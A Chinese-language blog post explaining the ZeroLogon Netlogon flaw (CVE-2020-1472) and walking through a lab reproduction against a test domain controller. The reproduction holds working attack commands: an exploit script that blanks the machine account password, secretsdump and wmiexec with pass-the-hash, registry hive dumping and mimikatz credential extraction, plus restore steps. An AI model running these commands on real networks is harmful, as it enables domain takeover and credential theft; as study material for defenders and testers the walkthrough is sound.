ZeroLogon(CVE-2020-1472)

前言

2020年9月11日,安全研究员Secura发布了公告,阐明了Microsoft在2020年8月修补的漏洞细节(CVE-2020-1472)。该漏洞也称为“Zerologon”,CVSS评分为10.0,号称3秒撸域控,危害严重。攻击者在通过NetLogon(MS-NRPC)协议与AD域控建立安全通道时,可利用该漏洞将AD域控的计算机账号密码置为空,从而控制域控服务器。

漏洞影响

  • Microsoft Windows Server 2008 R2 SP1
  • Microsoft Windows Server 2012
  • Microsoft Windows Server 2012 R2
  • Microsoft Windows Server 2016
  • Microsoft Windows Server 2019
  • Microsoft Windows Server version 2004 (Server Core Installation)
  • Microsoft Windows Server version 1903 (Server Core Installation)
  • Microsoft Windows Server version 1909 (Server Core Installation)

漏洞原理

Netlogon 远程协议(也称为MS-NRPC)是一个远程过程调用 (RPC) 接口,仅供加入域的设备使用。MS-NRPC 包括一种身份验证方法和一种建立 Netlogon 安全通道的方法。这些更新强制指定的 Netlogon 客户端行为在成员计算机和 Active Directory (AD) 域控制器 (DC) 之间使用具有 Netlogon 安全通道的安全 RPC。

其协议通讯流程如下:

根据上述流程,攻击者可控的因素有client challenge(在“Zerologon”中,攻击者会将client challenge设置为全0),server challenge在每一轮认证过程中都会变化,secret对应于用户密码的hash,Encrypt的过程采用的是AES-CFB8,其运算过程如下:

AES-CFB8安全性取决于随机选择的IV。但在Netlogon RPC中,作为ComputeNetlogonCredential检查的一部分,IV被错误的设置为0。如果IV和client challenge为全0的话,那么整个AES运算过程变成:

通过AES-CFB8加密模式有1/256 概率用8字节全0 明文得到8字节全0密文。

通过上述碰撞方法,攻击者可以向域发起Netlogon 计算机账户认证请求, 使用8字节全0 client challenge 不断尝试得到一个正确的8字节全0 client credential 通过认证,再通过相关调用完成对域控密码的修改。

漏洞复现

实验环境:

域控:win2012R2 10.211.55.30
域:hacker.lab

检测是否存在漏洞

python3 zerologon_tester.py r-dc 10.211.55.30

使⽤CVE-2020-1472.py脚本进⾏攻击,该脚本会将域控的机器账号哈希置为空

python3 cve-2020-1472-exploit.py  r-dc 10.211.55.30

利用secretsdump导出hash

python3 secretsdump.py hacker.lab/r-dc$@10.211.55.30 -no-pass

发现DC的hash为31d6cfe0d16ae931b73c59d7e0c089c0,也就是空密码,同时获得了域管administrator的hash,利用administrator的hash拿下域控:

python3 wmiexec.py administrator@10.211.55.30 -hashes aad3b435b51404eeaad3b435b51404ee:8e52f9105638482a922e13b05a4e4fe9 

恢复域控机器⽤户哈希

在攻击成功后,⼀定要恢复域控的机器⽤户的原始哈希,不然可能会出现域控重启后⽆法开机、脱域等情况!其原因在于我们是将ntds.dit中的域控机器密码置为空了,但是域控本地注册表和lsass进程中的密码并没有改变,这就导致了机器⽤户在AD中的密码与本地的注册表和lsass进程⾥⾯的密码不⼀致,所以可能会出现域控重启后⽆法开机、脱域等情况。

获得域控机器账号原始哈希

⽅式⼀:

在⽬标域控上执⾏这三个命令,将注册表中的信息导出这三个⽂件

reg save HKLM\SYSTEM system.save
reg save HKLM\SAM sam.save
reg save HKLM\SECURITY security.save

将刚刚保存的三个⽂件放到impacket的examples⽬录下,执⾏如下命令,使⽤secretsdump提取出⽂件⾥⾯的hash。如下,$MACHINE.ACC后⾯的就是原来的机器哈希

python3 secretsdump.py -sam sam.save -system system.save -security security.save LOCAL

⽅式⼆:

使⽤mimikatz的sekurlsa::logonpassword从lsass.exe进程⾥⾯抓取

mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit"

恢复域控原始哈希

该脚本⽐较暴⼒,再打⼀次,计算密码的时候使⽤了空密码的hash去计算session_key。 直接使⽤机器账号的原

始NTLM哈希即可还原,执⾏如下命令恢复:

#恢复域控哈希
python3 reinstall_original_pw.py r-dc 10.211.55.30 36c0cb79d364e0e11c460c63fe2e12b0

导出hash可以看到已经恢复成功

python3 secretsdump.py hacker/administrator@10.211.55.30 -hashes aad3b435b51404eeaad3b435b51404ee:8e52f9105638482a922e13b05a4e4fe9

或者可以使⽤mimikatz抓出来的hexpass,使⽤restorepassword.py脚本恢复

python3 restorepassword.py hacker/r-dc@r-dc -target-ip 10.211.55.30 -hexpass ad962f49ae2ac40b82798fe0f8e45497d66d0af3819338f8774ffa9069887f714fc20ee716497cd4ac596b3e3278cc7a35c4be192043317b77d9483bd18d10016255e0c855868ae62a208f67a1ef0101b117e9d5b2d0be6b6306d7f1d47860982d1ea859af012e745a827f03bd650ef0a6ac255e5ed090afce53a41371e1dca3006e9e7a28610c8ac386884ef055a537680e4b7daf8e954e6eea3c0b3a150a9252e5e04faecda3b4d825d46a320b93aa513a7befa104e954079bb769b48e20b7ea1c3234a46b18bf72b94722d6298fcf7baf255b37909822bd4164a3310078c4c542e47739c8adf1e1b3ce35cabe8a30

posted @ 2022-08-22 21:26  九天揽月丶  阅读(1218)  评论(0编辑  收藏  举报